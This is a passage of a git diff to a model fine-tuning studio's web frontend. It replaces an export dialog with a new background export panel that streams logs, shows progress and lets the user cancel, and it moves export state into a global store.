-            </AnimatePresence>
-
-            {/* Success banner: keep users on the log screen after completion so
-                they can inspect conversion output before closing. */}
-            {exportSuccess && showLogPanel && (
-              <div className="flex items-start gap-2 rounded-lg bg-emerald-500/10 p-3 text-sm text-emerald-700 dark:text-emerald-300">
-                <HugeiconsIcon icon={CheckmarkCircle02Icon} className="mt-0.5 size-4 shrink-0" />
-                <div className="flex min-w-0 flex-col gap-1">
-                  <span>
-                    {destination === "hub"
-                      ? "Export finished and pushed to Hugging Face Hub."
-                      : "Export finished successfully."}
-                  </span>
-                  {exportOutputPath ? (
-                    <code className="select-all break-all font-mono text-[12px] text-foreground/90" title={exportOutputPath}>
-                      {exportOutputPath}
-                    </code>
-                  ) : null}
-                </div>
-              </div>
-            )}
-
-            {/* Error banner */}
-            {exportError && (
-              <div className="flex items-start gap-2 rounded-lg bg-destructive/10 p-3 text-sm text-destructive">
-                <HugeiconsIcon icon={AlertCircleIcon} className="size-4 mt-0.5 shrink-0" />
-                <span>{exportError}</span>
-              </div>
-            )}
-
-            {/* Summary */}
-            <div className="rounded-xl bg-muted/50 p-3 text-xs text-muted-foreground flex flex-col gap-1">
-              <div className="flex justify-between">
-                <span>Base Model</span>
-                <span className="font-medium text-foreground">{baseModelName}</span>
-              </div>
-              <div className="flex justify-between">
-                <span>{isAdapter ? "Checkpoint" : "Model"}</span>
-                <span className="font-medium text-foreground">{checkpoint}</span>
-              </div>
-              <div className="flex justify-between">
-                <span>Export Method</span>
-                <span className="font-medium text-foreground">
-                  {EXPORT_METHODS.find((m) => m.value === exportMethod)?.title}
-                </span>
-              </div>
-              {exportMethod === "gguf" && quantLevels.length > 0 && (
-                <div className="flex justify-between">
-                  <span>Quantizations</span>
-                  <span className="font-medium text-foreground">
-                    {quantLevels.join(", ")}
-                  </span>
-                </div>
-              )}
-              {estimatedSize && (
-                <div className="flex justify-between">
-                  <span>Est. size</span>
-                  <span className="font-medium text-foreground">
-                    {estimatedSize}
-                  </span>
-                </div>
-              )}
-            </div>
-
-            {/* Live export output panel */}
-            <AnimatePresence>
-              {showLogPanel && (exporting || logLines.length > 0) && (
-                <motion.div {...collapseAnim} className="overflow-hidden">
-                  <div className="flex flex-col gap-1.5 pt-1">
-                    <div className="flex items-center justify-between">
-                      <label className="text-xs font-medium text-muted-foreground">
-                        Export output
-                      </label>
-                      <div className="flex items-center gap-2 text-[11px] text-muted-foreground/80">
-                        <span
-                          className={
-                            logConnected
-                              ? "inline-block size-1.5 rounded-full bg-emerald-500"
-                              : "inline-block size-1.5 rounded-full bg-muted-foreground/40"
-                          }
-                        />
-                        <span>
-                          {logConnected
-                            ? "streaming"
-                            : exporting
-                              ? "connecting..."
-                              : "idle"}
-                        </span>
-                        {exporting && elapsedSeconds > 0 ? (
-                          <span className="tabular-nums text-muted-foreground/70">
-                            · {formatElapsed(elapsedSeconds)}
-                          </span>
-                        ) : null}
-                      </div>
-                    </div>
-                    <div
-                      ref={logScrollRef}
-                      onScroll={handleLogScroll}
-                      className="h-56 w-full overflow-auto rounded-lg border border-border/40 bg-black/85 p-3 font-mono text-[11px] leading-[1.45] text-emerald-200/90"
-                    >
-                      {logLines.length === 0 ? (
-                        <div className="flex h-full items-center justify-center text-muted-foreground/70">
-                          <span className="flex items-center gap-2">
-                            <Spinner className="size-3" />
-                            Waiting for worker output...
-                          </span>
-                        </div>
-                      ) : (
-                        <pre className="whitespace-pre-wrap break-words">
-                          {logLines.map((entry, idx) => (
-                            <div
-                              key={idx}
-                              className={
-                                entry.stream === "stderr"
-                                  ? "text-rose-300/90"
-                                  : entry.stream === "status"
-                                    ? "text-sky-300/90"
-                                    : ""
-                              }
-                            >
-                              {formatLogLine(entry)}
-                            </div>
-                          ))}
-                        </pre>
-                      )}
-                    </div>
-                    {logError && (
-                      <p className="text-[11px] text-destructive/80">
-                        Log stream: {logError}
-                      </p>
-                    )}
-                  </div>
-                </motion.div>
-              )}
-            </AnimatePresence>
-
-            <DialogFooter>
-              <Button
-                variant="outline"
-                onClick={() => onOpenChange(false)}
-                disabled={exporting}
-              >
-                {exportSuccess ? "Done" : "Cancel"}
-              </Button>
-              <Button onClick={onExport} disabled={exporting || exportSuccess}>
-                {exporting ? (
-                  <span className="flex items-center gap-2">
-                    <Spinner className="size-4" />
-                    Exporting…
-                  </span>
-                ) : exportSuccess ? (
-                  "Export Complete"
-                ) : (
-                  "Start Export"
-                )}
-              </Button>
-            </DialogFooter>
-          </>
-        )}
-        </DialogContent>
-      </Dialog>
-      <FolderBrowser
-        open={folderBrowserOpen}
-        onOpenChange={setFolderBrowserOpen}
-        initialPath={isAbsoluteFolderPath(saveDirectory) ? saveDirectory : undefined}
-        onSelect={(path) => onSaveDirectoryChange(path)}
-      />
-    </>
-  );
-}
diff --git a/studio/frontend/src/features/export/components/export-run-panel.tsx b/studio/frontend/src/features/export/components/export-run-panel.tsx
new file mode 100644
index 0000000000..9a4f0ee137
--- /dev/null
+++ b/studio/frontend/src/features/export/components/export-run-panel.tsx
@@ -0,0 +1,572 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { FolderBrowser } from "@/components/assistant-ui/model-selector/folder-browser";
+import { Input } from "@/components/ui/input";
+import {
+  InputGroup,
+  InputGroupAddon,
+  InputGroupInput,
+} from "@/components/ui/input-group";
+import { Progress } from "@/components/ui/progress";
+import { Spinner } from "@/components/ui/spinner";
+import { Switch } from "@/components/ui/switch";
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import {
+  AlertCircleIcon,
+  ArrowRight01Icon,
+  CancelCircleIcon,
+  CheckmarkCircle02Icon,
+  FolderSearchIcon,
+  Key01Icon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useEffect, useRef, useState } from "react";
+import { useShallow } from "zustand/react/shallow";
+import { EXPORT_METHODS, type ExportMethod } from "../constants";
+import type { ExportLogEntry } from "../api/export-api";
+import {
+  selectExportProgressPercent,
+  useExportRuntimeStore,
+  type ExportDestination,
+} from "../stores/export-runtime-store";
+
+function useElapsedSeconds(startedAt: number | null, running: boolean): number {
+  // `now` is only advanced by the interval (never set synchronously in the
+  // effect body), so the elapsed value is derived during render. When `running`
+  // flips false the interval stops and `now` freezes, holding the final time.
+  const [now, setNow] = useState(() => Date.now());
+  useEffect(() => {
+    if (!running || startedAt == null) return;
+    const id = window.setInterval(() => setNow(Date.now()), 1000);
+    return () => window.clearInterval(id);
+  }, [running, startedAt]);
+  if (startedAt == null) return 0;
+  return Math.max(0, Math.floor((now - startedAt) / 1000));
+}
+
+function formatElapsed(seconds: number): string {
+  if (seconds < 60) return `${seconds}s`;
+  const m = Math.floor(seconds / 60);
+  const s = seconds % 60;
+  return `${m}m ${s.toString().padStart(2, "0")}s`;
+}
+
+function formatLogLine(entry: ExportLogEntry): string {
+  return entry.line.replace(/\r+$/g, "");
+}
+
+function isAbsoluteFolderPath(path: string): boolean {
+  return (
+    path.startsWith("/") ||
+    /^[A-Za-z]:([\\/]|$)/.test(path) ||
+    /^\\\\/.test(path)
+  );
+}
+
+const PHASE_LABELS: Record<string, string> = {
+  idle: "Ready",
+  loading: "Loading model",
+  exporting: "Exporting",
+  success: "Complete",
+  error: "Failed",
+  canceled: "Canceled",
+};
+
+// Shown in the terminal before the first worker line arrives (it can lag a few
+// seconds behind, especially over a tunnel). Reflects the phase so the panel
+// never looks stuck while the progress bar is already advancing.
+function waitingMessage(phase: string, stage: string | null): string {
+  if (stage) return stage;
+  if (phase === "loading") return "Loading model into the export worker...";
+  if (phase === "exporting") return "Preparing export...";
+  return "Starting...";
+}
+
+export interface ExportRunPanelProps {
+  exportMethod: ExportMethod | null;
+  quantLevels: string[];
+  checkpoint: string | null;
+  baseModelName: string;
+  isAdapter: boolean;
+  destination: ExportDestination;
+  onDestinationChange: (v: ExportDestination) => void;
+  saveDirectory: string;
+  defaultSaveDirectory: string;
+  saveDirectoryOverridden: boolean;
+  onSaveDirectoryChange: (v: string | null) => void;
+  hfUsername: string;
+  onHfUsernameChange: (v: string) => void;
+  modelName: string;
+  onModelNameChange: (v: string) => void;
+  hfToken: string;
+  onHfTokenChange: (v: string) => void;
+  privateRepo: boolean;
+  onPrivateRepoChange: (v: boolean) => void;
+  /** Kick off the export (the page assembles params and calls the store). */
+  onStart: () => void;
+  /** Collapse the panel; only offered before a run or after a terminal one. */
+  onClose: () => void;
+}
+
+export function ExportRunPanel(props: ExportRunPanelProps) {
+  const {
+    exportMethod,
+    quantLevels,
+    checkpoint,
+    baseModelName,
+    isAdapter,
+    destination,
+    onDestinationChange,
+    saveDirectory,
+    defaultSaveDirectory,
+    saveDirectoryOverridden,
+    onSaveDirectoryChange,
+    hfUsername,
+    onHfUsernameChange,
+    modelName,
+    onModelNameChange,
+    hfToken,
+    onHfTokenChange,
+    privateRepo,
+    onPrivateRepoChange,
+    onStart,
+    onClose,
+  } = props;
+
+  const run = useExportRuntimeStore(
+    useShallow((s) => ({
+      phase: s.phase,
+      isExporting: s.isExporting,
+      logLines: s.logLines,
+      connected: s.connected,
+      reconnecting: s.reconnecting,
+      stage: s.stage,
+      quantIndex: s.quantIndex,
+      quantTotal: s.quantTotal,
+      startedAt: s.startedAt,
+      result: s.result,
+      error: s.error,
+      summary: s.summary,
+    })),
+  );
+  const requestCancel = useExportRuntimeStore((s) => s.requestCancel);
+  const progress = useExportRuntimeStore(selectExportProgressPercent);
+
+  const isExporting = run.isExporting;
+  const isTerminal =
+    run.phase === "success" || run.phase === "error" || run.phase === "canceled";
+  const showConfig = run.phase === "idle";
+  // Gate the log area on the active run's method (from the store) as well as the
+  // local form selection, so it stays visible after navigating away and back
+  // (the form `exportMethod` resets on remount, but the run does not).
+  const panelMethod = run.summary?.method ?? exportMethod;
+  const showLogPanel =
+    isExporting ||
+    run.logLines.length > 0 ||
+    panelMethod === "merged" ||
+    panelMethod === "gguf" ||
+    panelMethod === "lora";
+
+  const elapsedSeconds = useElapsedSeconds(run.startedAt, isExporting);
+
+  const [folderBrowserOpen, setFolderBrowserOpen] = useState(false);
+  const logScrollRef = useRef<HTMLDivElement | null>(null);
+  const [followTail, setFollowTail] = useState(true);
+
+  useEffect(() => {
+    if (!followTail) return;
+    const el = logScrollRef.current;
+    if (el) el.scrollTop = el.scrollHeight;
+  }, [run.logLines, followTail]);
+
+  const handleLogScroll = () => {
+    const el = logScrollRef.current;
+    if (!el) return;
+    const nearBottom = el.scrollHeight - el.scrollTop - el.clientHeight < 24;
+    setFollowTail(nearBottom);
+  };
+
+  const methodTitle = EXPORT_METHODS.find((m) => m.value === exportMethod)?.title;
+  const summary = run.summary;
+  const summaryBaseModel = summary?.baseModelName ?? baseModelName;
+  const summaryCheckpoint = summary?.checkpointLabel ?? checkpoint;
+  const summaryMethodLabel = summary?.methodLabel ?? methodTitle;
+  const summaryQuants = summary?.quantLevels ?? quantLevels;
+  const summaryMethod = summary?.method ?? exportMethod;
+  const showProgress = isExporting || isTerminal;
+
+  return (
+    <div className="flex flex-col gap-4 rounded-2xl border border-border/50 bg-muted/20 p-4">
+      <div className="flex items-start justify-between gap-3">
+        <div className="flex flex-col gap-0.5">
+          <h3 className="text-sm font-semibold">
+            {showConfig ? "Export Model" : "Export"}
+          </h3>
+          <p className="text-xs text-muted-foreground">
+            {showConfig
+              ? "Choose where to save your exported model."
+              : "Runs in the background. You can keep training and chatting while it exports."}
+          </p>
+        </div>
+        {(showConfig || isTerminal) && (
+          <Button
+            type="button"
+            variant="ghost"
+            size="icon-sm"
+            aria-label="Close export panel"
+            onClick={onClose}
+          >
+            <HugeiconsIcon icon={CancelCircleIcon} className="size-4" />
+          </Button>
+        )}
+      </div>
+
+      {/* Destination configuration (only before a run starts) */}
+      {showConfig && (
+        <>
+          <div className="flex gap-2">
+            <Button
+              variant={destination === "local" ? "dark" : "outline"}
+              onClick={() => onDestinationChange("local")}
+              className="flex-1"
+            >
+              Save Locally
+            </Button>
+            <Button
+              variant={destination === "hub" ? "dark" : "outline"}
+              onClick={() => onDestinationChange("hub")}
+              className="flex-1"
+            >
+              Push to Hub
+            </Button>
+          </div>
+
+          {destination === "local" && (
+            <div className="flex flex-col gap-1.5">
+              <div className="flex items-center justify-between gap-2">
+                <label className="text-xs font-medium text-muted-foreground">
+                  Save folder
+                </label>
+                {saveDirectoryOverridden && (
+                  <Button
+                    type="button"
+                    variant="ghost"
+                    size="xs"
+                    onClick={() => onSaveDirectoryChange(null)}
+                  >
+                    Use default
+                  </Button>
+                )}
+              </div>
+              <div className="flex items-stretch gap-2">
+                <Input
+                  className="min-w-0 flex-1 font-mono text-[12px]"
+                  value={saveDirectory}
+                  onChange={(e) => onSaveDirectoryChange(e.target.value)}
+                  spellCheck={false}
+                  title={saveDirectory}
+                  placeholder={defaultSaveDirectory}
+                />
+                <Tooltip>
+                  <TooltipTrigger asChild={true}>
+                    <Button
+                      type="button"
+                      variant="outline"
+                      size="icon"
+                      onClick={() => setFolderBrowserOpen(true)}
+                      aria-label="Browse save folder"
+                    >
+                      <HugeiconsIcon icon={FolderSearchIcon} className="size-4" />
+                    </Button>
+                  </TooltipTrigger>
+                  <TooltipContent>Browse</TooltipContent>
+                </Tooltip>
+              </div>
+              <p className="text-[11px] text-muted-foreground/70">
+                {saveDirectory !== defaultSaveDirectory ? (
+                  <>Default: {defaultSaveDirectory}</>
+                ) : (
+                  <>
+                    Paste an absolute path if the folder browser cannot reach the
+                    drive.
+                  </>
+                )}
+              </p>
+            </div>
+          )}
+
+          {destination === "hub" && (
+            <div className="flex flex-col gap-4 px-0.5">
+                  <div className="grid grid-cols-2 gap-3">
+                    <div className="flex flex-col gap-1.5">
+                      <label className="text-xs font-medium text-muted-foreground">
+                        Username / Org
+                      </label>
+                      <Input
+                        placeholder="your-username"
+                        value={hfUsername}
+                        onChange={(e) => onHfUsernameChange(e.target.value)}
+                      />
+                    </div>
+                    <div className="flex flex-col gap-1.5">
+                      <label className="text-xs font-medium text-muted-foreground">
+                        Model Name
+                      </label>
+                      <Input
+                        placeholder="my-model-gguf"
+                        value={modelName}
+                        onChange={(e) => onModelNameChange(e.target.value)}
+                      />
+                    </div>
+                  </div>
+
+                  <div className="flex flex-col gap-1.5">
+                    <div className="flex items-center justify-between">
+                      <label className="text-xs font-medium text-muted-foreground">
+                        HF Write Token
+                      </label>
+                      <a
+                        href="https://huggingface.co/settings/tokens"
+                        target="_blank"
+                        rel="noopener noreferrer"
+                        className="flex items-center gap-1 text-[11px] text-emerald-600 hover:text-emerald-700 transition-colors"
+                      >
+                        Get token
+                        <HugeiconsIcon icon={ArrowRight01Icon} className="size-3" />
+                      </a>
+                    </div>
+                    <InputGroup>
+                      <InputGroupAddon>
+                        <HugeiconsIcon icon={Key01Icon} className="size-4" />
+                      </InputGroupAddon>
+                      <InputGroupInput
+                        type="password"
+                        autoComplete="new-password"
+                        name="hf-token"
+                        placeholder="hf_..."
+                        value={hfToken}
+                        onChange={(e) => onHfTokenChange(e.target.value)}
+                      />
+                    </InputGroup>
+                    <p className="text-[11px] text-muted-foreground/70">
+                      Leave empty if already logged in via CLI.
+                    </p>
+                  </div>
+
+                  <div className="flex items-center gap-3">
+                    <Switch
+                      id="export-private-repo"
+                      size="sm"
+                      checked={privateRepo}
+                      onCheckedChange={onPrivateRepoChange}
+                    />
+                    <label
+                      htmlFor="export-private-repo"
+                      className="text-xs font-medium cursor-pointer"
+                    >
+                      Private Repository
+                    </label>
+                  </div>
+                </div>
+          )}
+        </>
+      )}
+
+      {/* Result banners */}
+      {run.phase === "success" && (
+        <div className="flex items-start gap-2 rounded-lg bg-emerald-500/10 p-3 text-sm text-emerald-700 dark:text-emerald-300">
+          <HugeiconsIcon
+            icon={CheckmarkCircle02Icon}
+            className="mt-0.5 size-4 shrink-0"
+          />
+          <div className="flex min-w-0 flex-col gap-1">
+            <span>
+              {run.result?.destination === "hub"
+                ? "Export finished and pushed to Hugging Face Hub."
+                : "Export finished successfully."}
+            </span>
+            {run.result?.outputPath ? (
+              <code
+                className="select-all break-all font-mono text-[12px] text-foreground/90"
+                title={run.result.outputPath}
+              >
+                {run.result.outputPath}
+              </code>
+            ) : null}
+          </div>
+        </div>
+      )}
+
+      {run.phase === "canceled" && (
+        <div className="flex items-start gap-2 rounded-lg bg-amber-500/10 p-3 text-sm text-amber-700 dark:text-amber-300">
+          <HugeiconsIcon icon={CancelCircleIcon} className="mt-0.5 size-4 shrink-0" />
+          <span>Export canceled. Training and inference were not affected.</span>
+        </div>
+      )}
+
+      {run.phase === "error" && run.error && (
+        <div className="flex items-start gap-2 rounded-lg bg-destructive/10 p-3 text-sm text-destructive">
+          <HugeiconsIcon icon={AlertCircleIcon} className="size-4 mt-0.5 shrink-0" />
+          <span>{run.error}</span>
+        </div>
+      )}
+
+      {/* Summary */}
+      <div className="rounded-xl bg-muted/50 p-3 text-xs text-muted-foreground flex flex-col gap-1">
+        <div className="flex justify-between">
+          <span>Base Model</span>
+          <span className="font-medium text-foreground">{summaryBaseModel}</span>
+        </div>
+        <div className="flex justify-between">
+          <span>{isAdapter ? "Checkpoint" : "Model"}</span>
+          <span className="font-medium text-foreground">{summaryCheckpoint}</span>
+        </div>
+        <div className="flex justify-between">
+          <span>Export Method</span>
+          <span className="font-medium text-foreground">{summaryMethodLabel}</span>
+        </div>
+        {summaryMethod === "gguf" && summaryQuants.length > 0 && (
+          <div className="flex justify-between">
+            <span>Quantizations</span>
+            <span className="font-medium text-foreground">
+              {summaryQuants.join(", ")}
+            </span>
+          </div>
+        )}
+      </div>
+
+      {/* Progress */}
+      {showProgress && (
+        <div className="flex flex-col gap-2">
+          <div className="flex flex-wrap items-center gap-2">
+            <span className="rounded-full bg-foreground/10 px-2.5 py-1 text-[10px] font-semibold">
+              {PHASE_LABELS[run.phase] ?? run.phase}
+            </span>
+            {summaryMethod === "gguf" && run.quantTotal > 1 && (
+              <span className="text-[10px] tabular-nums text-muted-foreground">
+                Quant {Math.min(run.quantIndex + (isExporting ? 1 : 0), run.quantTotal)} of {run.quantTotal}
+              </span>
+            )}
+            <span className="rounded-full border border-border/60 px-2.5 py-1 text-[10px] font-medium tabular-nums text-muted-foreground">
+              {progress}%
+            </span>
+            <span className="text-[10px] tabular-nums text-muted-foreground/70">
+              {formatElapsed(elapsedSeconds)}
+            </span>
+          </div>
+          <Progress
+            value={progress}
+            className="h-2 bg-foreground/[0.05]"
+            indicatorClassName={
+              run.phase === "error"
+                ? "bg-destructive"
+                : run.phase === "canceled"
+                  ? "bg-amber-500"
+                  : undefined
+            }
+          />
+          {run.stage && (
+            <p className="truncate text-[11px] text-muted-foreground/80" title={run.stage}>
+              {run.stage}
+            </p>
+          )}
+        </div>
+      )}
+
+      {/* Live export output */}
+      {showLogPanel && (isExporting || run.logLines.length > 0) && (
+        <div className="flex flex-col gap-1.5 pt-1">
+              <div className="flex items-center justify-between">
+                <label className="text-xs font-medium text-muted-foreground">
+                  Export output
+                </label>
+                <div className="flex items-center gap-2 text-[11px] text-muted-foreground/80">
+                  <span
+                    className={
+                      run.reconnecting
+                        ? "inline-block size-1.5 rounded-full bg-amber-500"
+                        : run.connected
+                          ? "inline-block size-1.5 rounded-full bg-emerald-500"
+                          : "inline-block size-1.5 rounded-full bg-muted-foreground/40"
+                    }
+                  />
+                  <span>
+                    {run.reconnecting
+                      ? "reconnecting..."
+                      : run.connected
+                        ? "streaming"
+                        : isExporting
+                          ? "connecting..."
+                          : "idle"}
+                  </span>
+                </div>
+              </div>
+              <div
+                ref={logScrollRef}
+                onScroll={handleLogScroll}
+                className="h-56 w-full overflow-auto rounded-lg border border-border/40 bg-black/85 p-3 font-mono text-[11px] leading-[1.45] text-emerald-200/90"
+              >
+                {run.logLines.length === 0 ? (
+                  <div className="flex h-full items-center justify-center text-muted-foreground/70">
+                    <span className="flex items-center gap-2">
+                      <Spinner className="size-3" />
+                      {waitingMessage(run.phase, run.stage)}
+                    </span>
+                  </div>
+                ) : (
+                  <pre className="whitespace-pre-wrap break-words">
+                    {run.logLines.map((entry, idx) => (
+                      <div
+                        key={idx}
+                        className={
+                          entry.stream === "stderr"
+                            ? "text-rose-300/90"
+                            : entry.stream === "status"
+                              ? "text-sky-300/90"
+                              : ""
+                        }
+                      >
+                        {formatLogLine(entry)}
+                      </div>
+                    ))}
+                  </pre>
+                )}
+              </div>
+            </div>
+        )}
+
+      {/* Footer actions */}
+      <div className="flex justify-end gap-2">
+        {showConfig && (
+          <>
+            <Button variant="outline" onClick={onClose}>
+              Cancel
+            </Button>
+            <Button onClick={onStart}>Start Export</Button>
+          </>
+        )}
+        {isExporting && (
+          <Button variant="destructive" onClick={() => void requestCancel()}>
+            Cancel Export
+          </Button>
+        )}
+        {isTerminal && <Button onClick={onClose}>Done</Button>}
+      </div>
+
+      <FolderBrowser
+        open={folderBrowserOpen}
+        onOpenChange={setFolderBrowserOpen}
+        initialPath={
+          isAbsoluteFolderPath(saveDirectory) ? saveDirectory : undefined
+        }
+        onSelect={(path) => onSaveDirectoryChange(path)}
+      />
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/export/components/method-picker.tsx b/studio/frontend/src/features/export/components/method-picker.tsx
index 78cec2cd73..282b7c99f8 100644
--- a/studio/frontend/src/features/export/components/method-picker.tsx
+++ b/studio/frontend/src/features/export/components/method-picker.tsx
@@ -63,12 +63,12 @@ export function MethodPicker({ value, onChange, disabledMethods = [], disabledRe
               disabled={isDisabled}
               onClick={() => !isDisabled && onChange(m.value)}
               className={cn(
-                "flex items-start gap-3 rounded-xl p-4 text-left ring-1 transition-all",
+                "flex items-start gap-3 rounded-xl p-4 text-left ring-1 transition-colors",
                 isDisabled
                   ? "ring-border opacity-40 cursor-not-allowed"
                   : selected
                     ? "ring-2 ring-primary bg-primary/5"
-                    : "ring-border hover:-translate-y-0.5 hover:shadow-sm",
+                    : "ring-border hover:bg-muted/40",
               )}
             >
               <div
diff --git a/studio/frontend/src/features/export/components/quant-picker.tsx b/studio/frontend/src/features/export/components/quant-picker.tsx
index 192cbeaeee..dadc959e55 100644
--- a/studio/frontend/src/features/export/components/quant-picker.tsx
+++ b/studio/frontend/src/features/export/components/quant-picker.tsx
@@ -75,7 +75,7 @@ export function QuantPicker({ value, onChange, sizes }: QuantPickerProps) {
               type="button"
               onClick={() => toggle(q.value)}
               className={cn(
-                "inline-flex items-center gap-1.5 rounded-full px-3 py-1.5 text-xs font-medium ring-1 transition-all",
+                "inline-flex items-center gap-1.5 rounded-full px-3 py-1.5 text-xs font-medium ring-1 transition-colors",
                 active
                   ? "ring-primary bg-primary/10 text-foreground"
                   : "ring-border text-muted-foreground hover:text-foreground hover:ring-foreground/20",
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 72128cb44b..14022f4d19 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -44,6 +44,7 @@ import {
 } from "@/hooks";
 import {
   AlertCircleIcon,
+  ArrowDown01Icon,
   FolderSearchIcon,
   InformationCircleIcon,
   Key01Icon,
@@ -51,29 +52,24 @@ import {
   Search01Icon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { AnimatePresence, motion } from "motion/react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
-import { collapseAnim } from "./anim";
 import type { ModelCheckpoints } from "./api/export-api";
-import {
-  cleanupExport,
-  exportBase,
-  exportGGUF,
-  exportLoRA,
-  exportMerged,
-  fetchCheckpoints,
-  loadCheckpoint,
-} from "./api/export-api";
-import { ExportDialog } from "./components/export-dialog";
+import { fetchCheckpoints } from "./api/export-api";
+import { ExportRunPanel } from "./components/export-run-panel";
 import { MethodPicker } from "./components/method-picker";
 import { QuantPicker } from "./components/quant-picker";
 import {
+  EXPORT_METHODS,
   type ExportMethod,
   GUIDE_STEPS,
   buildQuantSizeLabels,
   getEstimatedSize,
 } from "./constants";
+import {
+  isExportPanelActive,
+  useExportRuntimeStore,
+} from "./stores/export-runtime-store";
 import { useExportSizeEstimate } from "./hooks/use-export-size-estimate";
 import { GuidedTour, useGuidedTourController } from "@/features/tour";
 import { exportTourSteps } from "./tour";
@@ -142,9 +138,24 @@ export function ExportPage() {
   const debouncedModelQuery = useDebouncedValue(modelInput);
   const debouncedHfToken = useDebouncedValue(hfToken, 500);
 
-  const [exportMethod, setExportMethod] = useState<ExportMethod | null>(null);
-  const [quantLevels, setQuantLevels] = useState<string[]>([]);
-  const [dialogOpen, setDialogOpen] = useState(false);
+  // Seed the method + quants from a live run so that navigating away and back
+  // (which remounts this page) keeps the method card selected and the run panel
+  // showing its logs/progress. The run itself lives in the global store; only
+  // this form state is local and would otherwise reset to null on remount.
+  const [exportMethod, setExportMethod] = useState<ExportMethod | null>(() => {
+    const s = useExportRuntimeStore.getState();
+    return isExportPanelActive(s) && s.summary ? s.summary.method : null;
+  });
+  const [quantLevels, setQuantLevels] = useState<string[]>(() => {
+    const s = useExportRuntimeStore.getState();
+    return isExportPanelActive(s) && s.summary?.method === "gguf"
+      ? s.summary.quantLevels
+      : [];
+  });
+  // Whether the inline export panel is expanded. The panel also shows itself
+  // whenever a run is active/terminal (see `panelActive`), so it survives
+  // navigation even though this local flag resets on remount.
+  const [panelOpen, setPanelOpen] = useState(false);
 
   const [destination, setDestination] = useState<"local" | "hub">("local");
   const [customSaveDirectory, setCustomSaveDirectory] = useState<string | null>(
@@ -154,12 +165,12 @@ export function ExportPage() {
   const [modelName, setModelName] = useState("");
   const [privateRepo, setPrivateRepo] = useState(false);
 
-  const [exporting, setExporting] = useState(false);
-  const [exportError, setExportError] = useState<string | null>(null);
-  const [exportSuccess, setExportSuccess] = useState(false);
-  // On-disk path of the last successful export, shown on the Export Complete
-  // screen so the user can find their model. Null for Hub-only pushes.
-  const [exportOutputPath, setExportOutputPath] = useState<string | null>(null);
+  // Export run state lives in the global runtime store so it keeps running and
+  // streaming in the background, in parallel with training and inference.
+  const runExport = useExportRuntimeStore((s) => s.runExport);
+  const resetExportRun = useExportRuntimeStore((s) => s.reset);
+  const isExporting = useExportRuntimeStore((s) => s.isExporting);
+  const panelActive = useExportRuntimeStore(isExportPanelActive);
 
   const hfComboboxAnchorRef = useRef<HTMLDivElement>(null);
   const localComboboxAnchorRef = useRef<HTMLDivElement>(null);
@@ -484,131 +495,86 @@ export function ExportPage() {
     [],
   );
 
-  // ---- Export handler ----
-  const handleExport = useCallback(async () => {
+  // ---- Export handlers ----
+  // Assemble the run params from the current form and hand off to the global
+  // runtime store, which drives load -> export -> cleanup in the background.
+  const handleStart = useCallback(async () => {
     const source = sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
-    if (!source) return;
+    if (!source || !exportMethod) return;
+    // A GGUF export with no quant selected runs zero exports yet would still
+    // settle as success with no file; require at least one (mirrors canExport).
+    if (exportMethod === "gguf" && quantLevels.length === 0) return;
 
     const selectedCp = sourceMode === "checkpoint"
       ? checkpointsForModel.find((cp) => cp.display_name === checkpoint)
       : null;
     if (sourceMode === "checkpoint" && !selectedCp) return;
-    const checkpointPath = selectedCp?.path;
-
-    setExporting(true);
-    setExportError(null);
-    setExportSuccess(false);
-    setExportOutputPath(null);
+    const checkpointPath = selectedCp?.path ?? null;
 
     const pushToHub = destination === "hub";
     const repoId = pushToHub && hfUsername && modelName
       ? `${hfUsername}/${modelName}`
       : undefined;
     const token = pushToHub && hfToken ? hfToken : undefined;
+    const methodLabel =
+      EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod;
+    const adapterExport = sourceMode === "checkpoint" && isAdapter;
 
-    try {
-      // 1. Load model source
-      if (sourceMode === "checkpoint") {
-        if (!checkpointPath) return;
-        await loadCheckpoint({
-          checkpoint_path: checkpointPath,
-          hf_token: hfToken || null,
-        });
-      } else {
-        // Consent gate for an HF source's custom (auto_map) code: the only way to enable
-        // trust_remote_code here. A local checkpoint the user exported is trusted by default.
-        let trustRemoteCode = modelSource !== "hf";
-        let approvedRemoteCodeFingerprint: string | null = null;
-        const remoteCodeOk = await confirmRemoteCodeIfNeeded({
-          modelName: source,
-          hfToken: hfToken || null,
-          // An HF source can need trust_remote_code via its YAML default with no auto_map
-          // to review; signal it so a YAML-only model does not export with it false.
-          requiresTrustRemoteCode: modelSource === "hf",
-          onApprove: (fingerprint) => {
-            trustRemoteCode = true;
-            approvedRemoteCodeFingerprint = fingerprint;
-          },
-        });
-        if (!remoteCodeOk) return;
-
-        await loadCheckpoint({
-          checkpoint_path: source,
-          load_in_4bit: false,
-          trust_remote_code: trustRemoteCode,
-          approved_remote_code_fingerprint: approvedRemoteCodeFingerprint,
-          hf_token: hfToken || null,
-        });
-      }
-
-      // 2. Run export. Capture the resolved output_path (when the backend
-      // wrote a local copy) for the success screen. Multi-quant GGUF runs
-      // share one directory, so we just keep the last response.
-      let lastOutputPath: string | null = null;
-      if (exportMethod === "merged") {
-        if (isAdapter) {
-          const resp = await exportMerged({
-            save_directory: saveDirectory,
-            push_to_hub: pushToHub,
-            repo_id: repoId,
-            hf_token: token,
-            private: privateRepo,
-          });
-          lastOutputPath = resp.details?.output_path ?? null;
-        } else {
-          const resp = await exportBase({
-            save_directory: saveDirectory,
-            push_to_hub: pushToHub,
-            repo_id: repoId,
-            hf_token: token,
-            private: privateRepo,
-            base_model_id: selectedModelData?.base_model,
-          });
-          lastOutputPath = resp.details?.output_path ?? null;
-        }
-      } else if (exportMethod === "gguf") {
-        for (const quant of quantLevels) {
